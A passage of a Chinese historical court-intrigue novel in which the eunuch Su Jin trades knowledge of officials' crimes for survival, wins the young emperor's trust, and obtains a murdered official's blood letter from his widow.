小顺子推开门，看见他，愣了一下，然后眼眶就红了。他跑过来，跪在地上，说：“苏公公，您回来了！您没事吧？” 苏瑾把他扶起来，说：“没事。” 小顺子看着他，眼泪往下掉：“他们说您被锦衣卫带走了，我吓死了。我天天去打听，打听不到。我……” 苏瑾拍拍他的肩，说：“没事了，别哭。” 小顺子擦了擦眼泪，说：“您饿不饿？我去给您弄点吃的。” 苏瑾说：“不用。” 小顺子不听，跑了出去。过了一会儿，端着一碗热腾腾的面回来。他说：“御膳房还有剩的，我偷偷盛了一碗。您快吃。” 苏瑾接过碗，看着那碗面。面上卧着一个荷包蛋，还有几片青菜，冒着热气。他已经五天没吃过热乎的东西了。 他拿起筷子，吃了起来。 小顺子坐在一边，看着他吃，脸上带着笑。他说：“苏公公，您慢点吃，别噎着。” 苏瑾没说话，一口一口地吃。吃完了，他把碗放下，说：“小顺子，谢谢你。” 小顺子说：“您跟我客气什么。您救过我的命，我做什么都是应该的。” 苏瑾看着他，说：“以后，你还是少来。” 小顺子愣住了：“为什么？” 苏瑾说：“我这边，不太平。你来多了，会连累你。” 小顺子说：“我不怕。” 苏瑾说：“我怕。” 小顺子看着他，想说什么，又说不出。过了好一会儿，他说：“那我……那我偷偷来，不让别人看见。” 苏瑾没说话。 小顺子站起来，说：“我走了。您好好休息。”他走到门口，又回头看了一眼，然后推开门，跑了出去。 苏瑾看着门关上，听着脚步声渐渐远去。 他在椅子上坐了很久。 窗外，月亮升起来了。月光透过窗纸，洒在桌案上，白白的，凉凉的。苏瑾看着那片月光，忽然想起小时候，在家乡，也看过这样的月光。那时候他还不叫苏瑾，叫狗娃。家里穷，吃不饱饭，爹娘把他卖了，卖给人贩子。人贩子把他带进城，又转手卖给了宫里的太监。那年他九岁。 一晃，十九年过去了。 他不知道爹娘还在不在，不知道家乡变成什么样了。他只知道，他再也回不去了。 他站起来，走到窗边，推开窗户。 月光洒进来，照在他脸上。他抬头看天，天上有月亮，有星星，有云。那云慢慢飘着，从东飘到西，从南飘到北。它们想去哪儿就去哪儿，没人管。 他呢？ 他哪儿也去不了。 他关上窗，回到桌边，坐下来。 他开始写东西。 他写的是那本账。不是全部，只是一部分。但这一部分，足够让一些人睡不着觉。 他写张谦益的事，一件一件，清清楚楚。哪年哪月哪日，干了什么事，经手人是谁，证据在哪里。他写陈提督的事，也是一件一件，清清楚楚。哪年哪月哪日，收了多少钱，害了什么人，证据在哪里。 他写了三天。 三天后，他把写好的东西分成几份。一份藏在值房的夹墙里。一份托人带出去，交给老周，让他藏好。还有一份，他贴身收着，随时可以拿出来。 做完这些，他松了口气。 现在，他有东西了。那些想动他的人，得掂量掂量。 但他也知道，这些东西，不到万不得已，不能用。用了，就是鱼死网破。他不想鱼死网破，他想活着。 他得找一个更稳妥的办法。 他开始观察朝堂上的动向。 每天，他听小顺子讲外面的事。小顺子虽然只是个端茶倒水的小太监，但消息灵通。谁跟谁吵架了，谁被新君骂了，谁又升官了，他都知道。 苏瑾一边听，一边在心里画图。一张朝堂的势力图，谁跟谁一伙，谁跟谁不对付，谁是谁的人，谁是谁的敌人。他画得清清楚楚。 他发现，张谦益和陈提督，表面上是一伙的，实际上也在互相防着。张谦益想拉拢陈提督，陈提督不想被张谦益拉拢。两人面和心不和，迟早要翻脸。 他还发现，朝堂上还有一个人，谁也不靠，谁也不理，就那么站着。那个人就是王世安，吏部侍郎。他不结党，不站队，就做自己的事。新君骂过他，他也不改；张谦益拉拢他，他也不理。就那么一个人，孤零零的，像一根柱子。 苏瑾观察了他很久。 他发现，王世安这人，有本事，有脑子，但不会来事。他不会巴结人，不会拍马屁，不会看眼色。所以这么多年，一直升不上去。先帝在的时候是这样，新君登基了还 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火苗舔上纸边，慢慢卷曲，发黑，然后燃起来。苏瑾看着它烧，直到最后一角化成灰，才松开手。 灰烬落在桌上，他用手轻轻一拂，散在地上，和普通的灰尘混在一起，再也分不出来。 信的内容，他已经记住了。从今往后，这封信就在他脑子里。需要的时候，随时可以拿出来。但绝不会留下任何把柄。 这是又一个筹码。 他知道，张谦益在暗处盯着他。但他不急。他有的是耐心。 张谦益想动他，他就得让张谦益知道，动他是有代价的。 但他不急着用。 他在等。 等一个机会，一个能让他翻身的机会。 他不知道这个机会什么时候来，也许很快，也许永远不来。但他只能等。 因为除了等，他什么也做不了。 这天夜里，苏瑾做了一个梦。 梦里，他回到了小时候。家乡的田野，金黄的稻子，风一吹，哗啦啦响。爹在田里干活，娘在家里做饭，他和几个小伙伴在河边捉鱼。鱼很大，滑溜溜的，他抓不住，急得直叫。 然后他醒了。 醒来的时候，天已经亮了。阳光透过窗纸，洒在屋里，暖暖的。他躺在床上，看着那片阳光，发了一会儿呆。 他已经很久没做梦了。 更久没梦见过家乡了。 他不知道自己为什么会做这个梦。也许是那天晚上想到了爹娘，也许是那天晚上看了月光。也许是…… 他不知道。 他只知道，这个梦让他想起了很多事。想起自己是谁，从哪里来，要到哪里去。 他是苏瑾，大燕朝的司礼监秉笔太监。他从九岁入宫，在宫里活了十九年。他没有家，没有亲人，没有后路。他只有自己，只有脑子里那本账。 他得活下去。 不管多难，都得活下去。 他起床，洗了把脸，穿上衣服，推开门，走了出去。 外面阳光正好，照得人暖洋洋的。甬道上人来人往，有人看见他，低头侧身，让他先过。他点点头，继续往前走。 走到司礼监值房门口，他停下来，推开门。 屋里还是那个样子。桌案，椅子，书架，窗户。他坐下来，开始等。 等今天会发生什么。 他不知道今天会发生什么，但他知道，总会发生点什么。 在宫里，每一天都不会白过。 下午，果然来了人。 是太后那边的人，一个小太监，传话让他去慈宁宫。 苏瑾跟着他去了。 太后还是在那个暗沉沉的寝宫里见他。这次太后没让他跪，让他坐着。太后说：“苏瑾，有件事，我想听听你的意见。” 苏瑾说：“太后请讲。” 太后说：“新君想整顿朝纲，但不知道怎么下手。你有什么想法？” 苏瑾沉默了一会儿，说：“奴才不敢妄言。” 太后说：“让你说你就说。” 苏瑾说：“整顿朝纲，是好事。但太急，不是好事。先帝在位十八年，留下的积弊不是一天能清的。今天杀一个，明天抓一个，人心惶惶，反而不好。” 太后点点头：“接着说。” 苏瑾说：“奴才斗胆，觉得可以先做三件事。第一件，把那些罪大恶极的办了，杀鸡儆猴。第二件，把那些还能用的留着，给他们一个改过自新的机会。第三件，提拔一些干净的人，让他们给新君办事。” 太后看着他，眼神复杂。过了好一会儿，她说：“你这个主意，倒是稳妥。”她顿了顿，“你有没有合适的人选？” 苏瑾说：“奴才不敢举荐。” 太后笑了：“你这个人，太小心了。”她想了想，“那个王世安，你觉得怎么样？” 苏瑾心里一动，但脸上什么表情都没有。他说：“王大人是个能干的。” 太后点点头：“我也这么觉得。”她摆摆手，“行了，你回去吧。今天这些话，不要跟别人说。” 苏瑾站起来，行礼：“奴才明白。” 他退了出去。 走出慈宁宫，他心里翻腾得厉害。 太后问他的意见，说明太后开始信任他了。太后提到王世安，说明太后也在观察王世安。这是个机会，一个能让他和太后建立更深关系的机会，也是一个能让王世安上位的机会。 但也是危险。 太后用他，他就得证明自己有用。一旦证明不了，就什么都没了。 他得小心，再小心。 回到值房，他坐下来，开始想事情。 他想的是王世安这个人。他了解得还不够多，得再多了解一些。万一太后真的要用王世安，他得能说出个子丑寅卯来。 他叫来小顺子，让他去打听王世安的事。 小顺子去了半天，回来告诉他：王世安，苏州人，四十二岁，进士出身。在吏部干了十五年，从主事干到侍郎。家里清贫，住的是租的房子，穿的是旧衣服，吃的是粗茶淡饭。不交朋友，不应酬，每天回家就读书。他夫人早就死了，也没续弦，一个人过。 苏瑾听了，点点头。 这个王世安，比他想象的还干净。 干净，有时候是好事，有时候不是。太干净的人，没人愿意跟他打交道，也办不成事。但太后需要这样的人，因为这样的人不会结党，不会营私，用着放心。 苏瑾想，他得找个机会，见见王世安。 不是拉拢，是认识。让王世安知道有他这么个人，万一以后用得着。 但他不急。 他得等一个合适的时机。 晚上，他又在脑子里翻那本账。 这一次，他翻得更细。每一个人的事，每一个人的把柄，他都再过一遍。看看有没有遗漏，有没有记错。 翻完了，他睁开眼睛。 窗外，月亮又升起来了。还是那个月亮，还是那片月光。 他看着那片月光，忽然笑了。 他有账本，有后手，有太后的信任，有王世安这张牌。他不是一个人在等死，他是在等机会。 机会总会来的。 他只需要继续活着，继续等。 这一夜，他睡得很沉。十九年来，第一次没有半夜惊醒。 --- 4. 献计 天顺十九年，三月初九。 苏瑾已经在司礼监的值房里坐了整整三个月。 三个月，九十多天。他每天准时来，准时走，不早到一刻，不晚走一分。他整理那些已经整理过无数遍的奏折，擦那些已经擦得锃亮的书架，看窗外那棵老槐树从光秃秃到冒出绿芽，又从绿芽长成满树的嫩叶。 没有人理他。 张谦益的人还在暗中盯着他，但没再动手。陈提督的人也在盯着他，也没再动手。太后那边也没再召见他，好像忘了他这个人。 苏瑾不急。 他知道，这种平静只是暂时的。暴风雨来之前，总有一段这样的日子。闷热，压抑，让人喘不过气来。等这阵子过去，就是电闪雷鸣。 他在等。 等一个机会。 这个机会，终于在三月十五这天来了。 那天早上，苏瑾像往常一样走进值房。刚坐下，小顺子就跑了进来，气喘吁吁的。 “苏公公，出大事了！” 苏瑾看着他，没说话。 小顺子压低声音，说：“新君在御书房发了好大的火，把张阁老骂了一顿。听说摔了茶盏，摔得粉碎。” 苏瑾心里一动，但脸上什么表情都没有。他问：“为什么发火？” 小顺子说：“好像是……为了整顿朝纲的事。新君想整顿，但下面的人不动。张阁老说什么‘徐徐图之’，新君就火了。” 苏瑾点点头。 小顺子又说：“听说新君这几天都没睡好，天天熬夜看奏折。看了就生气，生气了就骂人。御前伺候的人，个个提心吊胆的。” 苏瑾说：“知道了。你去吧。” 小顺子点点头，跑了出去。 苏瑾坐在椅子上，开始想事情。 新君想整顿朝纲，但不知道从何下手。张谦益那些人，嘴上说得好听，实际上谁也不想动真格的。动了真格，就会得罪人；得罪了人，自己的位置就不稳。所以他们拖着，推着，绕着，就是不干正事。 新君年轻，气盛，没耐心。他想要结果，马上就想要。 这就是机会。 苏瑾站起来，走到窗边，看着窗外。 老槐树的叶子已经长满了，绿油油的，在阳光下闪闪发光。有几只麻雀在枝头跳来跳去，叽叽喳喳地叫着。 他在想，该怎么做。 直接去找新君？不行。他一个新君不喜欢的人，跑去献计，新君不会信。 通过太后？也不行。太后刚帮过他，他不能老去麻烦太后。麻烦多了，人情就薄了。 得找一个中间人。 一个能让新君信任，又能把他的话说给新君听的人。 他想到了一个人。 冯保。 冯保是司礼监掌印太监，名义上是他的上司。冯保这人，明哲保身，从来不掺和这些事。但冯保有个好处——他在新君面前说得上话。新君登基以后，冯保主动让权，不争不抢，新君对他印象不错。有什么事，新君愿意听他说两句。 苏瑾想了很久，决定去找冯保。 当天下午，他去了冯保的值房。 冯保看见他来，愣了一下，说：“你怎么又来了？” 苏瑾说：“有事。” 冯保看着他，眼神里带着几分无奈：“什么事？” 苏瑾从袖子里拿出一个信封，放在冯保面前。 冯保低头看了一眼，没动。他抬起头，看着苏瑾：“这又是什么？” 苏瑾说：“一份名单。” 冯保问：“什么名单？” 苏瑾说：“贪官的名单。六个人，每个人的罪证，都在里面。” 冯保脸色变了。他盯着苏瑾看了好一会儿，然后压低声音：“你疯了？” 苏瑾没说话。 冯保拿起那个信封，掂了掂，像拿着一个烫手山芋。他说：“苏瑾，你知道这东西递上去，会死多少人吗？” 苏瑾说：“知道。” 冯保说：“那你还要递？” 苏瑾说：“新君想整顿朝纲，但不知道从何下手。这份名单，就是给他一个起点。” 冯保沉默了很久。 最后，他把信封收进袖子里，说：“行，我帮你递。但我不能保证新君会信。” 苏瑾说：“多谢冯公公。” 冯保摆摆手：“别谢我。我是真服了你了。” 苏瑾站起来，行了个礼，退了出去。 走出冯保的值房，他站在院子里，抬头看天。 天很蓝，蓝得晃眼。有几朵白云飘过，慢悠悠的，不急不躁。 他不知道冯保会不会真的递上去，不知道新君看了会有什么反应。但他做了他能做的。 剩下的，就看天意了。 两天后，冯保派人来找他。 苏瑾去了冯保的值房。冯保坐在那儿，脸色很怪，说不上是高兴还是紧张。看见苏瑾进来，他指了指椅子：“坐。” 苏瑾坐下。 冯保说：“名单递上去了。” 苏瑾点点头。 冯保说：“新君看了。” 苏瑾等着他说下去。 冯保说：“新君看完，问了三个问题。第一个，这名单是谁写的。我说，是司礼监秉笔太监苏瑾。第二个，他问，这人可信吗。我说，他在宫里十九年，没出过事。第三个，他问，这些证据，能查实吗。我说，应该能。” 苏瑾听着，脸上没什么表情。但他心里在翻腾。 新君问这三个问题，说明他信了，至少信了一半。接下来，就是查实的事了。 冯保看着他，说：“新君让你明天去御书房。” 苏瑾心里一动，但脸上还是没什么表情。他说：“多谢冯公公。” 冯保摆摆手：“别谢我。你自己小心点。新君这个人，喜怒无常，谁也不知道他下一秒会想什么。” 苏瑾点点头，站起来，走了。 这一夜，他没睡好。 他躺在床上，翻来覆去地想明天的事。新君会问他什么？他该怎么答？答好了会怎样？答不好会怎样？ 他想了很多，但没想出个所以然。因为他不知道新君会是什么态度。 天顺十九年，三月十八。 辰时正，苏瑾站在御书房门口。 这是他第一次来御书房。以前替先帝批奏折，都是在乾清宫的偏殿。御书房是先帝读书写字的地方，他从来没进去过。 门口站着的太监进去通报，过了一会儿出来，说：“陛下召见。苏公公，请。” 苏瑾整了整衣襟，走了进去。 御书房不大，但很高。四壁都是书架，摆满了书。窗边放着一张极大的书案，案上堆满了奏折。新君坐在书案后面，正低着头看什么。 苏瑾走到书案前三步远的地方，跪下，磕头：“奴才苏瑾，叩见陛下。” 新君没抬头，也没说话。 苏瑾跪着，一动不动。地上铺着金砖，凉意从膝盖传上来，但他脸上什么表情都没有。 过了很久，新君才抬起头。 他看了苏瑾一眼，说：“起来吧。” 苏瑾站起来，垂手站在一边。 新君看着他，说：“你就是苏瑾？” 苏瑾说：“是。” 新君说：“先帝在的时候，你替他批奏折？” 苏瑾说：“是。” 新君说：“批了几年？” 苏瑾说：“五年。” 新君点点头，没再说话。他拿起桌上的一张纸，看了看，又放下。然后他站起来，走到窗边，背对着苏瑾，说：“那份名单，是你写的？” 苏瑾说：“是。” 新君说：“你怎么知道那些事？” 苏瑾沉默了一会儿，说：“回陛下，奴才在司礼监这些年，经手的奏折多。有些事，记在心里了。” 新君转过身，看着他：“记在心里？那么多事，你都记得？” 苏瑾说：“奴才记性还好。” 新君盯着他，眼神锐利，像要把人看穿。他说：“那你告诉我，这些东西，你是怎么弄到手的？” 苏瑾说：“有些是奏折里写的，有些是听说的，有些是……”他顿了顿，“是猜的。” 新君笑了，笑声里听不出是什么意思。他说：“猜的？你猜得倒是挺准。” 苏瑾没说话。 新君走回书案后面，坐下。他拿起那张纸，说：“这六个人，我已经让人去查了。如果查实，你有功。如果查不实……”他没说完，但意思到了。 苏瑾说：“奴才明白。” 新君看着他，说：“你就不怕？” 苏瑾说：“怕。但奴才更怕陛下被蒙蔽。” 新君愣了一下，然后笑了。这次的笑，和刚才不一样，有点温度了。他说：“你这人，倒是会说话。” 苏瑾说：“奴才不敢。” 新君摆摆手，说：“行了，你先下去吧。有事我会再找你。” 苏瑾跪下，磕头：“奴才告退。” 他站起来，退了出去。 走出御书房，他才发现自己手心全是汗。他擦了擦，深吸一口气，慢慢往回走。 这一关，算是过了。 但只是第一关。 接下来，就看那些事能不能查实了。 三天后，消息传来。 六个人，查实了五个。户部侍郎王某，收受贿赂，抄家。兵部郎中李某，卖官鬻爵，下狱。工部尚书郭某，贪污公款，罢官。还有两个，一个流放，一个砍头。 只有一个没查实，证据不足，暂时搁置。 新君大喜。 他第二次召见苏瑾。 这一次，苏瑾进去的时候，新君的脸色比上次好多了。他让苏瑾坐下，还让人上了茶。 新君说：“苏瑾，你这次立了大功。” 苏瑾站起来，说：“奴才不敢居功。是陛下英明，才能查实。” 新君笑了：“你这个人，功劳往我身上推，过错往自己身上揽。先帝用你，真是用对了。” 苏瑾说：“奴才只是做了该做的事。” 新君看着他，说：“你这样的人，不该被晾着。” 苏瑾心里一动，但脸上什么表情都没有。他说：“奴才不敢奢求。” 新君说：“不是奢求。是应该的。”他想了想，“这样吧，你以后还是司礼监秉笔太监，但不用天天坐值房。有什么事，我会让人找你。” 苏瑾跪下，磕头：“奴才谢陛下恩典。” 新君摆摆手：“起来吧。以后好好干。” 苏瑾站起来，退了出去。 走出御书房，他站在院子里，抬头看天。 天还是那么蓝，云还是那么白。但这一刻，他觉得天比以前更蓝了，云比以前更白了。 他知道，他翻身了。 但只是翻了一个身。离真正站起来，还有很长的路。 他得继续走。 接下来几天，苏瑾的日子好过了不少。 以前见了他绕道走的人，现在又凑上来叫“苏公公”了。以前不理他的人，现在也开始打招呼了。以前那些冷言冷语，听不见了。 苏瑾不在意这些。 他在宫里十九年，见过太多这样的人。今天捧你，明天踩你，后天又捧你。都是过眼云烟，当不得真。 他在意的是另一件事。 新君开始用他了。 新君让人来找他，问一些事。这个人怎么样，那个人怎么样，这事该怎么处理，那事有什么背景。苏瑾一一回答，该说的说，不该说的不说。他知道分寸，知道什么时候该进，什么时候该退。 新君对他的态度，越来越好。 但苏瑾知道，这只是一时的。 新君用他，是因为他有用的。哪天没用了，或者有人比他更有用，新君就会忘了他。他得让自己一直有用，一直被人需要。 他开始更仔细地观察新君。 新君十九岁，年轻，气盛，有抱负。他想做一个好皇帝，想超过先帝，想在史书上留下好名声。所以他急，他想要结果，马上就想要。 这是优点，也是缺点。 优点是，他会用人，会用那些能帮他做事的人。缺点是，他缺乏耐心，容易被人利用，容易做错决定。 苏瑾把这些记在心里。 他开始想，自己能做什么。 他不能结党，不能营私，不能让人抓住把柄。但他可以做一件事——做新君的耳目。新君需要知道外面的事，需要知道谁在做什么，谁在想什么。他就可以告诉新君。 这是他唯一能做的事。 也是他最擅长的事。 这天下午，小顺子来了。 小顺子现在比以前更勤快了，三天两头往他这儿跑。每次来都带点吃的，有时候是点心，有时候是水果，有时候是一碗热汤。 苏瑾说过他几次，他不听。 “苏公公，您现在可是大红人了，我得多巴结巴结。”小顺子笑嘻嘻的。 苏瑾看着他，说：“大红人？什么大红人？” 小顺子说：“您还不知道？外面都传遍了，说您给新君献了计，抓了好几个贪官。现在新君可信任您了。” 苏瑾说：“别瞎说。” 小顺子说：“我没瞎说。是真的。”他凑近一点，压低声音，“苏公公，您以后可得罩着我。” 苏瑾没说话。 小顺子又说：“对了，有个事我想跟您说。” 苏瑾问：“什么事？” 小顺子说：“王世安王大人，好像对您挺感兴趣的。前几天他托人打听您，问您是什么人，做什么的。” 苏瑾心里一动。他问：“打听我？为什么？” 小顺子说：“不知道。就是随便问问吧。” 苏瑾点点头，没再问。 但他在想，王世安为什么打听他？ 王世安这个人，他观察了很久。清廉，能干，不结党，不站队。太后也提过他，说他是可用之人。 现在他打听自己，是什么意思？ 是好事，还是坏事？ 苏瑾不知道。 但他决定，有机会的话，见见王世安。 不是现在，是以后。 他得找一个合适的时机。 日子一天一天过去。 苏瑾的生活，比以前忙多了。新君三天两头召见他，问这问那。他每天都要看很多奏折，记很多事，想很多问题。 但他喜欢这种忙。 忙，说明有用。有用，就能活着。 这天晚上，他正在值房里看奏折，老周来了。 老 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灰落在地上，他用脚踩了踩，和尘土混在一起。 现在，证据在他脑子里，也在他怀里。但原信已经没了，谁也搜不出来。 他知道，张谦益和陈提督开始联手了。 不是真的联手，是暂时的联手。因为他们有共同的敌人——他。 他们怕他，怕他太得宠，怕他威胁到他们的位置。所以他们要联手对付他。 苏瑾不怕。 他早有准备。 那些东西，那些证据，那些把柄，都藏得好好的。万一有一天，他们真的动手，他就能让他们知道，动他是有代价的。 但他不想走到那一步。 他想活着。 活着比什么都重要。 他要想办法，让张谦益和陈提督自己先斗起来。让他们顾不上他。 他想了想，有了主意。 第二天，他去找冯保。 冯保看见他来，愣了一下，然后苦笑：“你怎么又来了？” 苏瑾说：“有事。” 冯保看着他，眼神复杂：“这回又是什么事？” 苏瑾从袖子里拿出两张纸，放在冯保面前。 冯保低头看了一眼，脸色就变了。他抬起头，看着苏瑾，声音都压低了：“你这是……你想干什么？” 苏瑾说：“这两样东西，请冯公公帮忙，分别送给张阁老和陈提督。” 冯保倒吸一口凉气：“送给他们？你疯了？” 苏瑾说：“让他们知道，他们都有把柄在我手里。” 冯保盯着他，看了很久。然后他往椅背上一靠，叹了口气：“苏瑾啊苏瑾，我算是上了你的贼船了。” 苏瑾没说话。 冯保沉默了一会儿，坐直身子，把那两张纸折好收进袖子里。他说：“行，我帮你送。但我告诉你，这是最后一次。” 苏瑾站起来，行了个礼：“多谢冯公公。” 冯保摆摆手：“别谢我。你自己小心点。这两个人，都不是善茬。” 苏瑾点点头，转身要走。 “苏瑾。”冯保叫住他。 苏瑾回头。 冯保看着他，说：“你这条路，走不长的。” 苏瑾说：“我知道。” 他推开门，走了。 他不知道冯保会不会真的送，不知道张谦益和陈提督看了会有什么反应。但他知道，这两样东西送出去，他们就会知道，他不是好惹的。 他们就会掂量掂量，值不值得动他。 这就够了。 三天后，张谦益那边有了动静。 张谦益派人来，说要请苏瑾吃饭。 苏瑾去了。 饭局设在张府的一个小厅里，很私密。只有张谦益和他两个人。 张谦益很客气，亲自给他倒酒，亲自给他布菜。一边吃一边说些有的没的，什么天气好啊，什么饭菜可口啊，什么最近忙不忙啊。 苏瑾应付着，心里却在想，张谦益想干什么。 吃到一半，张谦益终于开口了。 “苏公公，”他放下筷子，看着苏瑾，“有件事，我想请教请教。” 苏瑾说：“张阁老请讲。” 张谦益说：“前几天，有人给我送了样东西。那东西，让我很不安。” 苏瑾说：“什么东西？” 张谦益盯着他，说：“苏公公不知道？” 苏瑾说：“不知道。” 张谦益笑了，笑得有点勉强。他说：“苏公公，咱们明人不说暗话。那东西，是你让人送的吧？” 苏瑾沉默了一会儿，说：“是。” 张谦益的笑容僵住了。 他看着苏瑾，眼神复杂，有愤怒，有忌惮，还有一丝……佩服。 他说：“苏公公，你这是什么意思？” 苏瑾说：“没什么意思。只是想告诉张阁老，有些事，我知道。” 张谦益说：“你想怎么样？” 苏瑾说：“我不想怎么样。我只想活着。” 张谦益盯着他，看了很久。 然后他端起酒杯，一饮而尽。他说：“苏公公，你是聪明人。我敬你一杯。” 苏瑾也端起酒杯，喝了。 张谦益说：“那东西，你能保证，不会再有人知道吗？” 苏瑾说：“能。只要没人逼我。” 张谦益明白了。 他点点头，说：“好。我记下了。” 这顿饭，吃了两个时辰。 走的时候，张谦益亲自送他到门口。他拉着苏瑾的手，说：“苏公公，以后常来。” 苏瑾说：“多谢张阁老。” 他上了轿，走了。 坐在轿子里，他闭上眼睛。 他知道，这一关，暂时过了。张谦益不会动他了，至少暂时不会。 但陈提督那边呢？ 他不知道。 他只能等。 三天后，陈提督那边也有了动静。 陈提督没请他吃饭，而是让人送了一封信来。信很短，只有一句话： “苏公公放心，井水不犯河水。” 苏瑾看完，笑了。 他把信凑到烛火上，看着它烧成灰烬。 信的内容，他已经记住了。井水不犯河水——这句话，足够让他安心一阵子。 但真正的安全，从来不是靠一封信。 至少现在，他暂时安全了。 他知道，张谦益和陈提督不会善罢甘休。他们只是暂时退了一步，等机会。等有机会，他们还会动手。 但他不急。 他有时间。 有时间，就有机会。 窗外，月亮升起来了。 苏瑾站起来，走到窗边，推开窗户。 月光洒进来，照在他脸上。他看着天上的月亮，忽然想起小时候，在家乡，也看过这样的月亮。 那时候他还不知道，自己会变成今天这个样子。 那时候他还不知道，活着，这么难。 但他不后悔。 他选了这条路，就准备走到底。 --- 5. 暗箭 天顺十九年，四月。 一晃两个月过去了。新君对他的召见越来越勤，问的事也越来越细。从朝中大臣的底细，到地方官员的政绩，再到陈年旧案的来龙去脉——苏瑾一一作答，该说的说，不该说的不说。 他知道分寸。也知道这种信任，是靠不住的。 今天信任你，明天就可能怀疑你。今天用你，明天就可能弃你。在宫里活了十九年，他见过太多这样的人。昨天还是新君的心腹，今天就被拖出午门砍头。昨天还在御前伺候，今天就进了东厂大牢。 这天下午，小顺子来了。他端着一碗热汤放在桌上，没像往常那样笑嘻嘻的，反倒东张西望了一番，才凑过来压低声音：“苏公公，有个事我得跟您说。” 苏瑾看着他：“什么事？” 小顺子说：“东厂那边，最近在查您。” 苏瑾心里一动，但脸上什么表情都没有。他问：“查什么？” 小顺子说：“不知道。我有个老乡在东厂当差，他偷偷告诉我的。说他们头儿派了好几个人，专门查您的事。查您这些年跟谁来往，说过什么话，做过什么事。” 苏瑾点点头：“知道了。” 小顺子说：“您可得小心点。东厂那些人，没一个好东西。” 苏瑾说：“嗯。” 小顺子走了。 苏瑾坐在椅子上，开始想事情。 东厂在查他。这是陈提督的意思。陈提督表面上说“井水不犯河水”，背地里却在搞小动作。 但他不急。 他早有准备。 他得先弄清楚，陈提督查到哪一步了。 这天夜里，老周来了。 老周敲三下，停一下，再敲两下。苏瑾开了门，他闪进来，把门关上。 苏瑾说：“老周，帮我打听个事。” 老周说：“什么事？” 苏瑾说：“东厂那边在查我。你帮我打听打听，他们查到什么了。” 老周点点头：“行。我有个老兄弟在东厂，明天我去问他。” 老周走了。 三天后，老周又来了。 他带回来一个消息：东厂查到的，都是一些无关紧要的事。什么哪天跟谁说过话，哪天去了哪里，都是些鸡毛蒜皮。真正有用的东西，他们一件也没查到。 苏瑾松了口气。 但他知道，这只是暂时的。陈提督不会善罢甘休。他还会继续查，还会想别的办法。 他得主动出击。 不是跟陈提督硬碰硬，是让他知道，动自己是有代价的。 他想到了一个人。 周文渊的遗孀。 三年前，周文渊被魏忠害死，死在东厂大牢里。对外说是“暴病而亡”，但知道内情的人都明白，是魏忠杀人灭口。周文渊的遗孀上过一封信，那信被魏忠的人截了，送到先帝面前。先帝看了一眼，说了一句“知道了”，就再没下文。 那封信，苏瑾见过。内容他记得清清楚楚。信里说，周文渊死前留下一封血书，指认魏忠杀人灭口。血书藏在周家老宅的夹墙里。 后来魏忠倒台，这事就不了了之。周文渊的遗孀还在京城，艰难度日。 苏瑾决定去找她。 他不能自己去。他是太监，出宫不方便。而且目标太大，容易被人发现。 他让小顺子去。 小顺子听了，有些害怕：“苏公公，那是东厂的事，我不敢……” 苏瑾看着他，说：“你不用做什么。只是去送一封信。” 小顺子犹豫了一下，说：“那……那行吧。” 苏瑾写了一封信，交给小顺子。信里没写名字，只说“故人之后，有要事相商”，约她在城外的一个小茶馆见面。 小顺子去了。 三天后，周文渊的遗孀来了。 她姓林，三十八岁，面容憔悴，衣着素净。眼睛里有一种倔强，也有一种绝望。丈夫死了三年，她一个人熬着，不知道还能熬多久。 苏瑾在茶馆里等她。 茶馆很小，很破，在城外的一个偏僻地方。苏瑾包了整个茶馆，让老板在门口看着。 林氏走进来，看见他，愣了一下。然后她走过来，坐下，说：“你是……苏公公？” 苏瑾点点头。 林氏看着他，眼神复杂。她说：“我听说过你。你是先帝的人。” 苏瑾说：“是。” 林氏说：“你找我什么事？” 苏瑾从袖子里拿出一张纸，放在她面前。 林氏低头一看，脸色就变了。 那是周文渊血书的抄本。 她抬起头，看着苏瑾，眼眶红了。她说：“你……你怎么会有这个？” 苏瑾说：“三年前，那封信是我先看见的。我看完，记住了。” 林氏盯着他，说：“你想干什么？” 苏瑾说：“我想帮你们。” 林氏笑了，笑声里带着苦涩。她说：“帮我们？你帮我们什么？我丈夫已经死了三年了，凶手还活着，还在当官。你能让他偿命吗？” 苏瑾说：“现在不能。但以后能。” 林氏看着他，说：“你凭什么？” 苏瑾说：“凭我知道很多事。” 林氏沉默了很久。 然后她问：“你想要什么？” 苏瑾说：“我想要你手里的东西。” 林氏说：“什么东西？” 苏瑾说：“血书。” 林氏盯着他，眼神警惕。她说：“你为什么要这个？” 苏瑾说：“有人要对付我。我需要一些东西，让他们不敢动手。” 林氏说：“你想用我丈夫的血书，保你自己的命？” 苏瑾说：“是。” 林氏站起来，转身要走。 苏瑾说：“你丈夫死了三年了。凶手还在逍遥法外。你一个人，能做什么？” 林氏停住了。 苏瑾继续说：“我知道，你想报仇。但你报不了。你没有权，没有势，没有人帮你。你连一封信都递不上去。” 林氏转过身，看着他，眼泪流了下来。 苏瑾说：“把血书给我。我保证，总有一天，我会让凶手付出代价。” 林氏看着他，看了很久。 然后她坐回来，从怀里掏出一个布包，放在桌上。 她说：“这是血书。我丈夫临死前写的，用他自己的血。我藏了三年，谁也没给过。” 苏瑾打开布包，看着那封血书。 字迹歪歪扭扭，有些地方已经模糊了。但还能看清内容。周文渊写得很清楚：某年某月某日，魏忠派人来抓他，罪名是莫须有。在狱中，魏忠亲自审问他，逼他承认“勾结乱党”。他不肯，魏忠就让人打他，打了三天三夜。他知道自己活不了了，咬破手指，写下这封血书，托人带出去。 血书的最后，写着五个字：“陈姓狱官，同谋。” 苏瑾看完，把血书收好。 他看着林氏，说：“你信我？” 林氏说：“不信。但我没别的办法了。” 苏瑾点点头，站起来，说：“你等着。总有一天，我会让你亲眼看见，魏忠怎么死。” 他走了。 林氏坐在茶馆里，看着他的背影，泪流满面。 苏瑾回到宫里，把那封血书藏好。 现在，他手里又多了一样东西。 这东西，比之前那些都管用。因为这是人命，是血，是冤屈。拿出来，谁也压不住。 但他不急着用。 他得等一个合适的时机。 接下来的日子，风平浪静。 陈提督那边没再搞小动作，张谦益那边也安分了。好像什么事都没发生过。 但苏瑾知道，这只是暴风雨前的平静。 他们在等机会。 他也在等机会。 这天，新君召见他。 苏瑾去了御书房。新君坐在书案后面，脸色不太好。看见他进来，指了指椅子：“坐。” 苏瑾坐下。 新君说：“有人参你。” 苏瑾心里一动，但脸上什么表情都没有。他说：“谁参奴才？” 新君说：“东厂那边递上来的。说你勾结外官，私通后宫。” 苏瑾说：“陛下信吗？” 新君盯着他，说：“你说呢？” 苏瑾说：“奴才不敢说。” 新君笑了，笑声里听不出是什么意思。他说：“你这个人，太小心了。我都问你意见了，你还不敢说。” 